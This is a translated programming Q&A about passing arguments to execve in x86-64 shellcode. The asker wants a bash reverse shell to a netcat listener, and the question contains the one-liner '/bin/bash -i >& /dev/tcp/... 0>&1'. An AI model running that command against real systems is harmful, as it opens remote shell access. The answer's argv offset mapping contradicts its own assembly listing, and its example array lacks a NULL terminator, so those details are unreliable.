передать аргументы для выполнения программы в шеллкоде

Я пытаюсь изучить сборку и написать шелл-код. У меня вопрос о execve и передаче аргументов программе, которую она будет выполнять.

У меня есть рабочий код для выполнения оболочки bash, но я не уверен в формате ввода execve для передачи ему дополнительных аргументов. Могу ли я также перенаправлять stdin stdout? Я хотел создать обратное TCP-соединение с таким типом командной строки:

/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1

Следует ли разделять аргументы NULL? Я получил его для выполнения оболочки, но он не подключился к слушающему NC.

Я знаю, что это необычный способ сделать это, но я просто хотел попробовать что-то другое :-)

Ваше здоровье


person user2296580    schedule 18.04.2013    source источник


Ответы (1)


Лучший способ узнать, как это сделать, - это скомпилировать пример и остановиться на уровне сборки. Возьмем этот пример:

#include <unistd.h>

int
main ()
{
  char *program = "/bin/ls";
  char *args[3] = {"/bin/ls", "-l", "./"};

  execv(program, args);

  return 0;
}

При компиляции с gcc -Wall -Wextra -S -o myexec.s myexec.c вы можете прочитать в myexec.s:

        .file   "myexec.c"
        .section        .rodata
.LC0:
        .string "/bin/ls"
.LC1:
        .string "-l"
.LC2:
        .string "./"
        .text
        .globl  main
        .type   main, @function
main:
.LFB0:
        pushq   %rbp
        movq    %rsp, %rbp
        subq    $32, %rsp
        movq    $.LC0, -8(%rbp)
        movq    $.LC0, -32(%rbp)
        movq    $.LC1, -24(%rbp)
        movq    $.LC2, -16(%rbp)
        leaq    -32(%rbp), %rdx
        movq    -8(%rbp), %rax
        movq    %rdx, %rsi
        movq    %rax, %rdi
        call    execv
        movl    $0, %eax
        leave
        ret

Итак, список аргументов командной строки состоит из списка строк, и первый аргумент - это путь к исполняемому файлу (-8(rbp)), затем каждый аргумент передается через указатель на его строку: argv[0] = -16(%rbp), argv[1] = -24(%rbp), argv[2] = -32(%rbp) , ... и так далее.

Итак, вам просто нужно иметь адреса каждой строки и складывать их (в правильном порядке) в стек перед вызовом execv.

person perror    schedule 19.04.2013
comment
Спасибо друг. Это немного помогло мне прояснить ситуацию. Я не знаком с 64-битной версией, но концепция каждого аргумента, передаваемого как указатель на эту строку, - это то, в чем я не был уверен (я полагаю, что каждый NULL завершается). Я попробую еще раз, и думаю, я выясню, работает ли перенаправление. - person user2296580; 19.04.2013
comment
Что ж, я переписал его и заставил его работать должным образом, но перенаправление по какой-то причине не работает так, как ожидалось. Я получаю -i: ›&: нет такого файла или каталога. - person user2296580; 25.04.2013